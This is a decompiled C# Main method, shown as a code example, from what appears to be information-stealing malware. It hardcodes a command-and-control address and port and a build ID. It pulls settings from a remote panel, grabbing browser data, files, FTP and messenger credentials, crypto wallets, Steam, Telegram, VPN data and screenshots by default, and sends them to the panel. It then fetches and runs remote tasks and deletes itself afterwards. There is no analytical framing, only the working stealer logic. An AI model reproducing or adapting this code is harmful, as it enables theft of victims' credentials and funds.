Exemple #1
0
        // Token: 0x06000006 RID: 6 RVA: 0x00002078 File Offset: 0x00000278
        public static void Main(string[] args)
        {
            string text    = "95.181.172.34:35253";
            string buildId = "loshariki";

            try
            {
                try
                {
                    ServicePointManager.Expect100Continue = true;
                    ServicePointManager.SecurityProtocol  = (SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls12);
                }
                catch
                {
                }
                bool    flag;
                UserLog log;
                Action <IRemotePanel> < > 9__0;
                do
                {
                    flag = false;
                    try
                    {
                        foreach (string remoteIP in text.Split(new char[]
                        {
                            '|'
                        }))
                        {
                            try
                            {
                                Action <IRemotePanel> codeBlock;
                                if ((codeBlock = < > 9__0) == null)
                                {
                                    codeBlock = (< > 9__0 = delegate(IRemotePanel panel)
                                    {
                                        ClientSettings settings = null;
                                        try
                                        {
                                            settings = panel.GetSettings();
                                        }
                                        catch (Exception)
                                        {
                                            settings = new ClientSettings
                                            {
                                                BlacklistedCountry = new List <string>(),
                                                BlacklistedIP = new List <string>(),
                                                GrabBrowsers = true,
                                                GrabFiles = true,
                                                GrabFTP = true,
                                                GrabImClients = true,
                                                GrabPaths = new List <string>(),
                                                GrabUserAgent = true,
                                                GrabWallets = true,
                                                GrabScreenshot = true,
                                                GrabSteam = true,
                                                GrabTelegram = true,
                                                GrabVPN = true
                                            };
                                        }
                                        UserLog log = UserLogHelper.Create(settings);
                                        log.Exceptions = new List <string>();
                                        log.BuildID = buildId;
                                        log.Credentials = CredentialsHelper.Create(settings);
                                        log.SendTo(panel);
                                        log = log;
                                        log.Credentials = new Credentials();
                                        IList <RemoteTask> tasks = panel.GetTasks(log);
                                        if (tasks != null)
                                        {
                                            foreach (RemoteTask remoteTask in tasks)
                                            {
                                                try
                                                {
                                                    if (log.ContainsDomains(remoteTask.DomainsCheck) && Program.CompleteTask(remoteTask))
                                                    {
                                                        panel.CompleteTask(log, remoteTask.ID);
                                                    }
                                                }
                                                catch
                                                {
                                                }
                                            }
                                        }
                                    });
                                }
                                GenericService <IRemotePanel> .Use(codeBlock, remoteIP);

                                flag = true;
                                break;
                            }
                            catch
                            {
                            }
                        }
                    }
                    catch (Exception)
                    {
                    }
                }while (!flag);
            }
            catch (Exception)
            {
            }
            finally
            {
                InstallManager.RemoveCurrent();
            }
        }